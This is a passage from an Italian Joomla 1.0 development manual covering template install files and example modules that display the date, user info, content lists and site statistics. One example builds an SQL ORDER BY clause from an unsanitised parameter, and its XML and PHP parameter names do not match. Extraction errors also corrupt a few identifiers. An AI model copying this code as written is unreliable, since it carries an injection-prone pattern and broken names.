14     background-color:#FFFFFF;
15     padding:10px 0 16px 0;
16     margin:0 auto;
17     display:block;
18     width:130px;
19     border:1px solid #6A6A6A;
20     text-align:left;
21     z-index:2;
22 }
23 #progress {
24     height:5px;
25     font-size:1px;
26     width:1px;
27     position:relative;
28     top:1px;
29     left:0px;
30     background-color:#9D9D94;
31 }
32 #loader_bg {
33     background-color:#EBEBE4;
34     position:relative;
35     top:8px;
36     left:8px;
37     height:7px;
38     width:113px;
39     font-size:1px;
40 }
```

Listato 103: Esempio Template Flash e Ajax - `loader.css`

File TemplateDetails.xml

Il file `TemplateDetails.xml` è il file di installazione del template:

```
1 <?xml version="1.0" encoding="iso-8859-1"?>
2 <mosinstall type="template">
3   <name>template2</name>
4   <creationDate>26.06.2006</creationDate>
5   <author>LucaZone</author>
6   <copyright>(C) Copyright lucazone.net</copyright>
7   <authorEmail>info@lucazone.net</authorEmail>
8   <authorUrl>www.lucazone.net</authorUrl>
9   <version>2.0</version>
10  <description>Template Jo_zone, creato da LucaZone</description>
11
12  <files >
13    <filename>favicon.ico</filename>
14    <filename>index.php</filename>
15    <filename>loader.js</filename>
16    <filename>template_thumbnail.png</filename>
17    <filename>splitmenu.php</filename>
18    <filename>animazione.swf</filename>
19  </files >
20
21  <images>
22    <filename>images/arrow.gif</filename>
23    <filename>images/line.gif</filename>
24    <filename>images/bar.jpg</filename>
25    <filename>images/bbar.jpg</filename>
26    <filename>images/dashg.gif</filename>
27    <filename>images/indent.png</filename>
28    <filename>images/indent1.png</filename>
29    <filename>images/indent2.png</filename>
30    <filename>images/indent3.png</filename>
31    <filename>images/indent4.png</filename>
32    <filename>images/indent5.png</filename>
33    <filename>images/left_bot_corner.gif</filename>
34    <filename>images/left_top_corner.gif</filename>
35    <filename>images/logo.jpg</filename>
36    <filename>images/mshade.png</filename>
37    <filename>images/right_bot_corner.gif</filename>
38    <filename>images/right_top_corner.gif</filename>
39    <filename>images/spacer.gif</filename>
40    <filename>images/t.gif</filename>
41  </images>
42
43  <css>
44    <filename>css/template_css.css</filename>
45    <filename>css/loader.css</filename>
46  </css>
47 </mosinstall>
```

Listato 104: Esempio Template Flash e Ajax - `TemplateDetails.xml`

Parte Seconda

Moduli

6 Introduzione

I moduli sono la tipologia di espansione più semplice da comprendere e da realizzare, pertanto si partirà da questi per iniziare a sviluppare.

Il modulo è un'entità ausiliaria rispetto al componente, che viene visualizzata esclusivamente all'interno dei blocchi definiti nel template (sezione 4.3). Questo è il meccanismo di funzionamento imposto da Joomla, pertanto non bisognerà preoccuparsi dell'ubicazione del modulo, ma solamente di cosa il modulo deve fare.

Si pensi ad alcuni moduli predefiniti quali *Ultime notizie*, *I più letti*, *Sondaggi*, ...; possono essere posizionati in qualsiasi blocco, senza comprometterne il funzionamento.

7 Struttura dei file

Lo sviluppo di un modulo richiede la creazione dei seguenti file:

Codice del modulo rappresenta il file PHP principale, quello richiamato da Joomla e contenente il codice del modulo stesso. Il file deve avere un nome ben preciso ed in particolare `mod_NOMEMODULO.php`, dove `NOMEMODULO` rappresenta il nome del modulo che si sta creando, ad esempio `mod_calendario.php`, `mod_sondaggi.php`, ...

File di installazione rappresenta il file XML contenente tutte le informazioni necessarie all'installazione del modulo, quali il nome, i parametri, le immagini, ... Anche questo file deve avere un nome ben preciso ed in particolare `mod_NOMEMODULO.xml`, dove `NOMEMODULO` rappresenta il nome del modulo che si sta creando, ad esempio `mod_calendario.xml`, `mod_sondaggi.xml`, ...

Una volta creati questi file, si crea il pacchetto di installazione semplicemente creando un archivio ZIP o TGZ. Dopodichè è sufficiente effettuare l'installazione del modulo dal backend di Joomla, menu *Installazioni*→*Moduli*, inviando l'archivio appena creato.

Se tutto va a buon fine, i file vengono copiati all'interno della directory `/modules` di Joomla ed il nuovo modulo è disponibile per la configurazione e l'utilizzo, accedendo al menu *Moduli*→*Moduli del sito*.

7.1 Codice del modulo

Come precedentemente accennato, questo è il file principale che contiene tutto il codice del modulo.

Negli esempi che seguiranno sarà possibile capire come realizzare nel dettaglio un modulo, ma l'unica cosa fondamentale da ricordare è il codice iniziale del modulo, che deve essere:

```
1 <?php
2 defined( '_VALID_MOS' ) or die( 'Restricted access' );
```

Questo è fondamentale perchè impedisce di accedere al modulo dall'esterno di Joomla: se la riga di codice non fosse presente sarebbe possibile invocare il file direttamente dal browser, ad esempio digitando l'indirizzo `http://www.miosito.it/modules/mod_NOMEMODULO.php`. Non metterlo non compromette il funzionamento del modulo ma rischia di aprire delle falle di sicurezza.

7.2 File di installazione

Il file di installazione è un file XML che deve sempre essere realizzato ed inserito nel pacchetto insieme al codice del modulo. Questo perchè permette a Joomla di configurarsi correttamente al fine dell'utilizzo del modulo stesso.

Trattandosi di un file XML, possiede determinati tag, che vanno correttamente inseriti nel file. Nel caso dei moduli il file deve iniziare con:

```
1 <?xml version="1.0" ?>
2 <mosinstall type="module" version="1.0">
```

E' importante che l'attributo `type` del tag `mosinstall` sia impostato al valore `module`.

Nel caso in cui il file XML debba contenere caratteri accentati, è possibile specificare la codifica dei caratteri usati, così come indicato nelle specifiche XML del W3C:

```
1 <?xml version="1.0" encoding="iso-8859-1" ?>
2 <mosinstall type="module" version="1.0">
```

Dopodichè vanno inserite tutte le informazioni sul modulo:

```
1 <name>Nome del modulo</name>
2 <creationDate>11/07/2006</creationDate>
3 <author>Mario Rossi</author>
4 <copyright>Note di copyright</copyright>
5 <license>Riferimento alla licenza</license>
6 <authorEmail>mario.rossi@dominio.it</authorEmail>
7 <authorUrl>www.dominio.it</authorUrl>
8 <version>1.0</version>
9 <description>Modulo per visualizzare ...</description>
10 <files >
11   <filename module="mod_NOME">mod_NOME.php</filename>
12 </files >
```

I primi tag sono molto semplici da capire:

`<name>` rappresenta il titolo del modulo

<creationDate> rappresenta la data di creazione (non possiede un formato preciso, è possibile specificare anche solo *Luglio 2006*)

<author> rappresenta il nome dell'autore

<copyright> rappresenta le note relative al copyright

<license> rappresenta le note relative alla licenza

<authorEmail> rappresenta l'email dell'autore

<authorUrl> rappresenta il sito dell'autore

<version> rappresenta il numero di versione del modulo

<description> rappresenta una breve descrizione

Il tag <files> è un tag contenitore senza parametri, che rappresenta quali file devono essere copiati all'interno di Joomla. Ciò significa che solamente i file elencati all'interno del tag verranno estratti dall'archivio ZIP e copiati nella directory `modules` di Joomla; qualsiasi altro file presente nell'archivio verrà ignorato.

Per i soli moduli, il tag <files> contiene un solo tag¹³ <filename>, rappresentante il file di codice da copiare. Si fa presente che il file XML stesso viene copiato di default e non è necessario inserirlo nell'elenco.

Il suddetto tag <filename> possiede un attributo ed un contenuto, entrambi obbligatori; l'attributo si chiama `module` e rappresenta il nome del modulo così come viene utilizzato da Joomla, ossia `mod_NOMEMODULO`, mentre il contenuto rappresenta il nome del file che deve essere copiato, cioè `mod_NOMEMODULO.php`.

Ad esempio, se il modulo si chiamasse *orario*, la sezione <files> sarebbe la seguente:

```
1 < files >
2   <filename module="mod_orario">mod_orario.php</filename>
3 </files >
```

Nel caso in cui fossero necessari dei parametri, questi vanno inseriti dopo il tag </files> utilizzando gli appositi tag <params> e <param> (come illustrato nella sezione 3.1).

Infine si chiude il tag principale <mosinstall>:

```
1 </mosinstall>
```

8 Esempi pratici

Vediamo ora alcuni moduli di esempio, realizzati appositamente per comprendere i dettagli del loro sviluppo.

Tutti gli esempi sono formati dal file PHP del codice e dal file XML di installazione; sarà sufficiente creare l'archivio ZIP ed installarli dal menu *Installazioni*→*Moduli* del backend. Al termine dell'installazione i moduli saranno disponibili nel menu *Moduli*→*Moduli del sito*.

Si raccomanda di non modificare i nomi dei file e di mantenere quelli proposti negli esempi; il

¹³nella versione 1.0 di Joomla, i moduli sono costituiti da un unico file PHP

nome dell'archivio ZIP può essere scelto a piacere, ma si consiglia di sceglierne uno che riporti almeno il nome e la versione del modulo.

Il codice PHP e le query SQL fanno riferimento alla versione 1.0.11 di Joomla, versione corrente al momento della stesura del manuale.

8.1 Segnatempo

Questo modulo non ha parametri e l'unica funzione che svolge è visualizzare la data odierna. Pertanto ad ogni caricamento del modulo verrà visualizzata la data e l'ora¹⁴. Il nome del modulo è `mod_segnatempo`.

File PHP - `mod_segnatempo.php`

```

1 <?php
2     defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4     // si ricava la data corrente, sotto forma di array associativo
5     // si veda http://it2.php.net/manual/it/function.getdate.php
6     $oggi = getdate();
7
8     // si ricava la data (si veda http://it2.php.net/manual/it/function.strftime.php)
9     $giorno = sprintf("%02d", $oggi['mday']);
10    $mese = $oggi['month'];
11    $anno = sprintf("%04d", $oggi['year']);
12
13    // ... e l'orario
14    $ora = sprintf("%02d", $oggi['hours']);
15    $min = sprintf("%02d", $oggi['minutes']);
16    $sec = sprintf("%02d", $oggi['seconds']);
17
18    echo "Oggi è il giorno:<br />\n";
19    echo $giorno . " " . $mese . " " . $anno . "<br />\n";
20    echo $ora . ":" . $min . ":" . $sec . "\n";
21 ?>

```

Listato 105: `mod_segnatempo.php`

File XML - `mod_segnatempo.xml`

```

1 <?xml version="1.0" ?>
2 <mosinstall type="module" version="1.0">
3     <name>Segnatempo</name>
4     <creationDate>29/07/2006</creationDate>
5     <author>Marco Napolitano</author>
6     <copyright>(C) 2006, Marco Napolitano. All rights reserved.</copyright>
7     <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
8     <authorEmail>info@allone.it</authorEmail>
9     <authorUrl>www.allone.it</authorUrl>

```

¹⁴l'ora sarà un valore fisso al momento dell'esecuzione del modulo

```

10 <version>1.0</version>
11 <description>Modulo per visualizzare la data corrente</description>
12 <files >
13   <filename module="mod_segnap tempo">mod_segnap tempo.php</filename>
14 </files >
15 </mosinstall>

```

Listato 106: mod_segnap tempo.xml

8.2 Informazioni utente

Questo modulo serve per visualizzare le informazioni personali dell'utente correntemente loggato, ossia nome, email, gruppo, ...

Non possiede parametri e non viene fatta nessuna connessione con il database; tutte le informazioni vengono prelevate dalla variabile di sistema `$my` (vedi sezione 2.2).

Affinchè il modulo funzioni, è necessario essere un utente registrato al sito ed effettuare il login (è sufficiente anche usare l'utente *Super Administrator* per testare il modulo). Per fare ciò, il modulo *Login Form* deve essere pubblicato e Joomla deve essere impostato per accettare registrazioni e login (si veda la *Configurazione globale*, che non è parte di questo manuale).

Si fa notare che il modulo controlla al suo interno se l'utente è loggato (e di conseguenza registrato al sito), per evitare di visualizzare dati vuoti o non corretti; oltre a questo è possibile impostare il livello di accesso del modulo su *Registered* in modo da vincolare ulteriormente la visualizzazione dei dati (una sorta di doppio controllo di sicurezza). Il nome del modulo è `mod_infoutente`.

File PHP - mod_infoutente.php

```

1 <?php
2   defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4   // verifica del login utente; se l'utente non è loggato,
5   // la variabile $my non è settata ed il test fallisce
6   if($my->id){
7     echo "Benvenuto " . $my->name . "<br />\n";
8     echo "Id: " . $my->id . "<br />\n";
9     echo "Username: " . $my->username . "<br />\n";
10    echo "Email: " . $my->email . "<br />\n";
11    echo "Tipo: " . $my->usertype . "<br />\n";
12    echo "Registrazione: " . $my->registerDate . "<br />\n";
13    echo "Ultima visita: " . $my->lastvisitDate . "<br />\n";
14  }
15  // viene visualizzato un messaggio di avviso
16  else
17    echo "Devi essere loggato per vedere le informazioni";
18  ?>

```

Listato 107: mod_infoutente.php

File XML - mod_infoutente.xml

```

1 <?xml version="1.0" ?>
2 <mosinstall type="module" version="1.0">
3   <name>Informazioni utente</name>
4   <creationDate>29/07/2006</creationDate>
5   <author>Marco Napolitano</author>
6   <copyright>(C) 2006, Marco Napolitano. All rights reserved.</copyright>
7   <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
8   <authorEmail>info@allone.it</authorEmail>
9   <authorUrl>www.allone.it</authorUrl>
10  <version>1.0</version>
11  <description>Modulo per visualizzare le informazioni utente corrente</description>
12  <files >
13    <filename module="mod_infoutente">mod_infoutente.php</filename>
14  </files >
15 </mosinstall>

```

Listato 108: mod_infoutente.xml

8.3 Informazioni utente - parametri

Il modulo ha lo stesso funzionamento di quello presentato nell'esempio precedente, ma vengono qui aggiunti 4 parametri per stabilire se visualizzare le seguenti informazioni: ID, email, data di registrazione e data dell'ultima visita. Il nome del modulo è `mod_infoutente2`.

File PHP - mod_infoutente2.php

```

1 <?php
2 defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4 // verifica del login utente; se l'utente non è loggato,
5 // la variabile $my non è settata ed il test fallisce
6 if($my->id){
7   echo "Benvenuto " . $my->name . "<br />\n";
8
9   // recupero il parametro showID
10  if(intval($params->get("showID", "1")) == 1)
11    echo "Id: " . $my->id . "<br />\n";
12
13  echo "Username: " . $my->username . "<br />\n";
14
15  // recupero il parametro showEmail
16  if(intval($params->get("showEmail", "1")) == 1)
17    echo "Email: " . $my->email . "<br />\n";
18
19  echo "Tipo: " . $my->usertype . "<br />\n";
20
21  // recupero il parametro showReg
22  if(intval($params->get("showReg", "1")) == 1)
23    echo "Registrazione: " . $my->registerDate . "<br />\n";

```



```

24
25 // recupero il parametro showLast
26 if(intval($params->get("showLast", "1")) == 1)
27     echo "Ultima visita: " . $my->lastvisitDate . "<br />\n";
28 }
29 // viene visualizzato un messaggio di avviso
30 else
31     echo "Devi essere loggato per vedere le informazioni";
32 ?>

```

Listato 109: mod_infoutente2.php

La parte di codice interessante è la seguente, ed è quella relativa al recupero del parametro:

```

1 if(intval($params->get("showEmail", "1")) == 1)
2     echo "Email: " . $my->email . "<br />\n";

```

Il parametro può assumere due soli valori (si veda il file XML): 0 (nascondi) e 1 (mostra). Pertanto viene recuperato il parametro `showEmail` mediante il metodo `$params->get()` (vedi sezione 2.8.2), fornendo il valore 1 come default nel caso il parametro fosse inesistente. Dopodiché il valore restituito viene convertito in un numero intero mediante la funzione `intval()`. Infine il valore viene confrontato con 1, per decidere se visualizzare l'informazione o meno. Gli stessi ragionamenti valgono per gli altri parametri.

File XML - mod_infoutente2.xml

```

1 <?xml version="1.0" encoding="ISO-8859-1" ?>
2 <mosinstall type="module" version="1.0">
3     <name>Informazioni utente</name>
4     <creationDate>29/07/2006</creationDate>
5     <author>Marco Napolitano</author>
6     <copyright>(C) 2006, Marco Napolitano. All rights reserved.</copyright>
7     <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
8     <authorEmail>info@allone.it</authorEmail>
9     <authorUrl>www.allone.it</authorUrl>
10    <version>1.0</version>
11    <description>Modulo per visualizzare le informazioni utente corrente</description>
12    <files>
13        <filename module="mod_infoutente2">mod_infoutente2.php</filename>
14    </files>
15    <params>
16        <param name="showID" type="radio" default="1" label="Mostra ID" description="
17            ↳ Visualizza l'ID dell'utente">
18            <option value="0">No</option>
19            <option value="1">Sì</option>
20        </param>
21        <param name="showEmail" type="radio" default="1" label="Mostra email" description "
22            ↳ Visualizza l'email dell'utente">
23            <option value="0">No</option>
24            <option value="1">Sì</option>
25        </param>

```

```

24 <param name="showReg" type="radio" default="1" label="Mostra registrazione" ↵
    ↵ description="Visualizza la data di registrazione dell'utente">
25 <option value="0">No</option>
26 <option value="1">Sì</option>
27 </param>
28 <param name="showLast" type="radio" default="1" label="Mostra visita" description ↵
    ↵ ="Visualizza l'ultima visita dell'utente">
29 <option value="0">No</option>
30 <option value="1">Sì</option>
31 </param>
32 </params>
33 </mosinstall>

```

Listato 110: mod_infoutente2.xml

In questo esempio vengono definiti i parametri del modulo, come illustrato nella sezione 3.1. E' presente il tag `<params>` e tutti i tag `<param>` che definiscono i moduli.

I parametri sono tutti dello stesso tipo per semplicità, pertanto ne verrà analizzato uno solo:

```

1 <param name="showEmail" type="radio" default="1" label="Mostra email" description=" ↵
    ↵ Visualizza l'email dell'utente">
2 <option value="0">No</option>
3 <option value="1">Sì</option>
4 </param>

```

Poichè il parametro deve permettere una scelta di tipo mostra/nascondi, le opzioni devono essere mutuamente esclusive e pertanto il tipo di parametro è **radio**.

Le scelte del parametro sono state impostate alle stringhe **Sì** e **No** alle quali sono stati associati i valori numerici 1 e 0. Valori che saranno poi utilizzati nel codice; infatti nel file PHP viene fatto il confronto con 1 e non con la stringa **Sì**.

Infine è stato impostato il valore di default del parametro a 1, ossia mostra l'informazione. Il valore di default è quello che viene impostato in fase di installazione, prima che il modulo venga configurato per la prima volta.

8.4 Elenco contenuti

In questo esempio verrà introdotta la connessione al database per il recupero dei contenuti; in particolare verranno visualizzati i contenuti di una *specifica* categoria, stabilita nel codice.

Poichè l'output del modulo sarà piuttosto ricco, è conveniente posizionarlo in un blocco sufficientemente largo. Il modulo non ha parametri e si chiama `mod_contenuti`.

File PHP - mod_contenuti.php

```

1 <?php
2 defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4 // definizione della query SQL
5 $strSQL = "SELECT c.*, s.title AS stitle " .
6           "FROM #__content AS c, #__sections AS s " .
7           "WHERE catid = 2 " .
8           "AND c.sectionid = s.id " .

```

```

9      "AND s.published = 1 " .
10     "ORDER BY c.title";
11
12     // la query viene settata, ma non ancora eseguita
13     $database->setQuery($strSQL);
14
15     // viene eseguita la query, caricando i risultati in un array di object
16     $notizie = $database->loadObjectList();
17
18     // la query viene eseguita ed in caso di errore viene visualizzato il dettaglio dello stesso
19     if( $notizie == null){
20         echo "Errore " . $database->getErrorNum() . ": " . $database->getErrorMsg();
21     }
22     else{
23         echo "<table>\n";
24         echo "<tr>" .
25             "<th>Sezione</th>" .
26             "<th>Titolo</th>" .
27             "<th>Testo introduttivo</th>" .
28             "</tr>\n";
29         foreach($notizie as $notizia){
30             echo "<tr>" .
31                 "<td>" . $notizia->stitle . "</td>" .
32                 "<td>" . $notizia->title . "</td>" .
33                 "<td>" . $notizia->introttext . "</td>" .
34                 "</tr>\n";
35         }
36         echo "</table>\n";
37     }
38     ?>

```

Listato 111: mod_contenuti.php

File XML - mod_contenuti.xml

```

1 <?xml version="1.0" ?>
2 <mosinstall type="module" version="1.0">
3   <name>Visualizza contenuti</name>
4   <creationDate>30/07/2006</creationDate>
5   <author>Marco Napolitano</author>
6   <copyright>(C) 2006, Marco Napolitano. All rights reserved.</copyright>
7   <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
8   <authorEmail>info@allone.it</authorEmail>
9   <authorUrl>www.allone.it</authorUrl>
10  <version>1.0</version>
11  <description>Modulo per visualizzare i contenuti di una categoria</description>
12  <files>
13    <filename module="mod_contenuti">mod_contenuti.php</filename>
14  </files>
15 </mosinstall>

```

Listato 112: mod_contenuti.xml

8.5 Elenco contenuti - parametri

Il modulo ha lo stesso funzionamento di quello presentato nell'esempio precedente, ma vengono qui aggiunti dei parametri per stabilire quale categoria visualizzare, se visualizzare il nome della sezione relativa, in quale ordine disporre le notizie e quante visualizzarne. Il nome del modulo è `mod_contenuti2`.

In questo esempio, la parte interessante è rappresentata dall'istruzione che prepara la query da eseguire:

```
1 $database->setQuery($strSQL, 0, $numNews);
```

che mostra un utilizzo un pò più avanzato del metodo; infatti oltre alla query da eseguire, viene fornito l'offset¹⁵ ed il numero di record da recuperare.

Si sarebbe potuto anche fare a mano, tramite la clausola SQL:

```
1 LIMIT offset, limit
```

ma si sono voluti usare i parametri del metodo per semplificare il codice e sfruttare gli strumenti forniti da Joomla.

File PHP - mod_contenuti2.php

```
1 <?php
2     defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4     // recupero di tutti i parametri
5     $catid = intval($params->get("catid", "0"));
6     $viewSec = intval($params->get("viewSec", "1"));
7     $order = $params->get("order", "title");
8     $numNews = intval($params->get("numNews", "3"));
9
10    // definizione della query SQL
11    $strSQL = "SELECT c.*, s.title AS stitle " .
12              "FROM #__content AS c, #__sections AS s " .
13              "WHERE catid = " . $catid .
14              " AND c.sectionid = s.id " .
15              "AND s.published = 1 " .
16              "ORDER BY " . $order;
17
18    // la query viene settata, ma non ancora eseguita
19    $database->setQuery($strSQL, 0, $numNews);
20
21    // viene eseguita la query, caricando i risultati in un array di object
22    $notizie = $database->loadObjectList();
23
24    // la query viene eseguita ed in caso di errore viene visualizzato il dettaglio dello stesso
25    if( $notizie == null){
26        echo "Errore " . $database->getErrorNum() . ": " . $database->getErrorMsg();
27    }
28    else{
```

¹⁵0 equivale a partire dal primo record restituito dalla query

```

29     echo "<table>\n";
30     echo "<tr>";
31     if($viewSec == 1)
32         echo "<th>Sezione</th>";
33     echo "<th>Titolo</th>" .
34         "<th>Testo introduttivo</th>" .
35         "<th>Creata il</th>" .
36         "</tr>\n";
37     foreach($notizie as $notizia){
38         echo "<tr>";
39         if($viewSec == 1)
40             echo "<td>" . $notizia->stile . "</td>";
41         echo "<td>" . $notizia->title . "</td>" .
42             "<td>" . $notizia->introtex . "</td>" .
43             "<td>" . $notizia->created . "</td>" .
44             "</tr>\n";
45     }
46     echo "</table>\n";
47 }
48 ?>

```

Listato 113: mod_contenuti2.php

File XML - mod_contenuti2.xml

```

1 <?xml version="1.0" ?>
2 <mosinstall type="module" version="1.0">
3   <name>Visualizza contenuti</name>
4   <creationDate>30/07/2006</creationDate>
5   <author>Marco Napolitano</author>
6   <copyright>(C) 2006, Marco Napolitano. All rights reserved.</copyright>
7   <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
8   <authorEmail>info@allone.it</authorEmail>
9   <authorUrl>www.allone.it</authorUrl>
10  <version>1.0</version>
11  <description>Modulo per visualizzare i contenuti di una categoria</description>
12  <files>
13    <filename module="mod_contenuti2">mod_contenuti2.php</filename>
14  </files>
15  <params>
16    <param name="catid" type="mos_category" default="0" label="Categorie" description ↵
17      ↵="Selezionare la categoria che si desidera visualizzare" />
18    <param name="viewSec" type="radio" default="1" label="Mostra sezione" description ↵
19      ↵="Visualizza il nome della sezione della notizia">
20      <option value="0">No</option>
21      <option value="1">Si</option>
22    </param>
23    <param name="ordering" type="list" default="title" label="Ordinamento" ↵
24      ↵ description="Selezionare il tipo di ordinamento delle notizie">
25      <option value="title">Titolo della notizia</option>
26      <option value="order">Ordine delle notizie</option>
27      <option value="created">Data di creazione</option>

```

```

25 </param>
26 <param name="numNews" type="text" default="3" label="Notizie" description=" ←
    ← Numero di notizie da visualizzare" />
27 </params>
28 </mosinstall>

```

Listato 114: mod_contenuti2.xml

8.6 Statistiche avanzate

Lavorando nel backend, si sarà notato il menu *Statistiche* che visualizza tutte le statistiche di accesso al sito, suddivise per browser, sistema operativo e dominio di provenienza. Il presente esempio vuole realizzare una cosa simile, ma come modulo da visualizzare all'interno del sito. A tale proposito si fa presente che la tabella in cui sono contenute le informazioni relative alle statistiche è `jos_stats_agents`, che possiede il seguente schema:

```
1 jos_stats_agents (agent (VARCHAR), type (TINYINT), hits (INT))
```

Il campo `type`, può assumere i seguenti valori interi:

0 per i browser

1 per i sistemi operativi

2 per i domini di provenienza

Il modulo possiede alcuni parametri ed il suo nome è `mod_statistiche`.

File PHP - mod_statistiche.php

```

1 <?php
2 defined( '_VALID_MOS' ) or die( 'Restricted access' );
3
4 // recupero di tutti i parametri
5 $viewBrowser = intval($params->get("viewBrowser", "1"));
6 $viewOS = intval($params->get("viewOS", "1"));
7 $viewDomain = intval($params->get("viewDomain", "1"));
8 $mode = $params->get("mode", "compact");
9 $numViews = intval($params->get("numViews", "3"));
10 $order = $params->get("order", "hits");
11
12 // viene creato un array con i tipi da visualizzare
13 $typeToView = array();
14 if($viewBrowser) $typeToView[] = 0;
15 if($viewOS) $typeToView[] = 1;
16 if($viewDomain) $typeToView[] = 2;
17
18 // si prepara la clausola di ordinamento dei record
19 switch($order){
20     case "agents": $order = "type, agent, hits"; break;
21     case "hits":
22     default: $order = "type, hits DESC, agent"; break;

```

```

23 }
24
25 // si inizializza la variabile
26 $agents = array();
27
28 // viene effettuato un ciclo su tutti i tipi da visualizzare
29 foreach($typeToView as $type){
30     // viene generata una query diversa per ogni tipo
31     $strSQL = "SELECT * FROM #__stats_agents " .
32         "WHERE type=" . intval($type) . " ORDER BY " . $order;
33     // in modalità detail devo limitare il numero di risultati
34     if($mode == "detail")
35         $database->setQuery($strSQL, 0, $numViews);
36     // in modalità compact devo prelevare solo 1 record
37     else
38         $database->setQuery($strSQL, 0, 1);
39
40     // unisco tutti i risultati nello stesso array
41     $agents = array_merge($agents, $database->loadObjectList());
42 }
43
44 // viene visualizzato un messaggio in caso di errore
45 if($agents == null){
46     echo "Nessun record.";
47 }
48 else{
49     // l'array generico viene spezzato in 3 array separati
50     splitAgents($agents, $browsers, $os, $domains);
51
52     echo "<table width='100%' border='0' cellpadding='0' cellspacing='0'>\n";
53     // visualizzo l'elenco dei browser, se necessario
54     if($viewBrowser){
55         echo "<tr><th colspan='100%'>Browser</th></tr>\n";
56         foreach($browsers as $b)
57             echo "<tr><td>" . $b->agent . "</td><td>" . $b->hits . "</td></tr>";
58     }
59     // visualizzo l'elenco dei sistemi operativi, se necessario
60     if($viewOS){
61         echo "<tr><th colspan='100%'>OS</th></tr>\n";
62         foreach($os as $o)
63             echo "<tr><td>" . $o->agent . "</td><td>" . $o->hits . "</td></tr>";
64     }
65     // visualizzo l'elenco dei domini, se necessario
66     if($viewDomain){
67         echo "<tr><th colspan='100%'>Domini</th></tr>\n";
68         foreach($domains as $d)
69             echo "<tr><td>" . $d->agent . "</td>" .
70                 "<td>" . $d->hits . "</td></tr>\n";
71     }
72     echo "</table>\n";
73 }
74
75

```

```

76  /* Funzione che analizza ogni elemento dell'array $agents e lo memorizza in uno degli 3 array,
77  * a seconda del valore del campo $agent->type. I 3 array sono passati per riferimento. */
78  function splitAgents($agents, &$browsers, &$os, &$domains){
79      $browsers = array();
80      $os = array();
81      $domains = array();
82
83      foreach($agents as $agent){
84          switch(intval($agent->type)){
85              case 0: $browsers[] = $agent; break;
86              case 1: $os[] = $agent; break;
87              case 2: $domains[] = $agent; break;
88          }
89      }
90  }
91  ?>

```

Listato 115: mod_statistiche.php

File XML - mod_statistiche.xml

```

1  <?xml version="1.0" encoding="ISO-8859-1" ?>
2  <mosinstall type="module" version="1.0">
3      <name>Statistiche avanzate</name>
4      <creationDate>03/08/2006</creationDate>
5      <author>Marco Napolitano</author>
6      <copyright>(C) 2006, Marco Napolitano. All rights reserved.</copyright>
7      <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
8      <authorEmail>info@allone.it</authorEmail>
9      <authorUrl>www.allone.it</authorUrl>
10     <version>1.0</version>
11     <description>Modulo per visualizzare le statistiche di accesso al sito</description>
12     <files >
13         <filename module="mod_statistiche">mod_statistiche.php</filename>
14     </files >
15     <params>
16         <param name="viewBrowser" type="radio" default="1" label="Visualizza browser" ↩
17             ↩ description="Visualizza l'elenco dei browser">
18             <option value="0">No</option>
19             <option value="1">Sì</option>
20         </param>
21         <param name="viewOS" type="radio" default="1" label="Visualizza OS" description= ↩
22             ↩ "Visualizza l'elenco dei sistemi operativi">
23             <option value="0">No</option>
24             <option value="1">Sì</option>
25         </param>
26         <param name="viewDomain" type="radio" default="1" label="Visualizza domini" ↩
27             ↩ description="Visualizza l'elenco dei domini">
28             <option value="0">No</option>
29             <option value="1">Sì</option>
30         </param>

```



```

28 <param name="mode" type="list" default="compact" label="Modalità" description=" ↵
    ↵ Seleziona il tipo di visualizzazione dei risultati">
29 <option value="compact">Compatta</option>
30 <option value="detail">Dettagliata</option>
31 </param>
32 <param name="numViews" type="text" default="3" label="Numero risultati" ↵
    ↵ description="Seleziona il numero di risultati (per ogni tipo di ↵
    ↵ statistica) da visualizzare; funziona solo in modalità dettagliata"/>
33 <param name="order" type="list" default="hits" label="Ordinamento" description=" ↵
    ↵ Selezionare il tipo di ordinamento dei risultati (per ogni tipo di ↵
    ↵ statistica); funziona solo in modalità dettagliata">
34 <option value="agent">Agente (crescente)</option>
35 <option value="hits">Hits (decescente)</option>
36 </param>
37 </params>
38 </mosinstall>

```

Listato 116: mod_statistiche.xml

Nota Da quanto enunciato nelle sezioni precedenti, un modulo è formato da due file (PHP e XML) e va installato; pertanto ci si potrebbe chiedere come procedere nel caso in cui si debbano fare delle modifiche al codice.

L'unica cosa veramente vincolante è il file XML di installazione: qualsiasi modifica che lo riguarda richiede la disinstallazione del modulo e l'installazione della nuova versione. Pertanto, una volta realizzato il file XML completo, non è necessario avere anche il file PHP completo; per assurdo potrebbe essere un file vuoto.

Sarà sufficiente installare il modulo e modificare il file PHP direttamente sul server remoto, ammesso di avere i permessi di scrittura sul file.

Parte Terza

Componenti

9 Introduzione

I componenti sono senz'altro gli elementi più complessi che troviamo in Joomla, ma sono anche i più utili, in quanto aggiungono nuove funzionalità al CMS e permettono di renderlo più adeguato alle esigenze di ogni webmaster. Vediamo ora, più nello specifico, che genere di funzionalità può avere un componente:

1. gestire banner pubblicitari
2. gestire newsletter
3. creare gallerie multimediali
4. gestire i collegamenti web ed i downloads
5. e molto altro ancora...

I componenti possono svolgere qualsiasi tipo di mansione noi vogliamo, basta sapere però come programmarli a svolgere tale compito. E' anche possibile trasformare uno script web già esistente in un componente per Joomla, così se avete già il vostro script per la gestione delle news o altro, scoprirete che non è difficile integrarlo in Joomla.

E' proprio di questo che ci occuperemo in questa parte dedicata ai componenti, cominciando con la creazione di un componente basilare, che poi arricchiremo di funzioni andando avanti.

10 Struttura dei file

Come ogni web application, anche un componente è composto da più di un file, ognuno dei quali svolge dei compiti ben precisi e definiti, che è bene imparare a sfruttare al massimo per ottenere i migliori risultati dai componenti che andremo a creare.

In Joomla, i componenti hanno *due facce*, una visibile all'utente finale e una visibile solo all'amministratore che ne coordina e gestisce il funzionamento. Queste facce si chiamano *frontend* (la parte visibile all'utente finale) e *backend* (ovvero l'interfaccia di amministrazione).

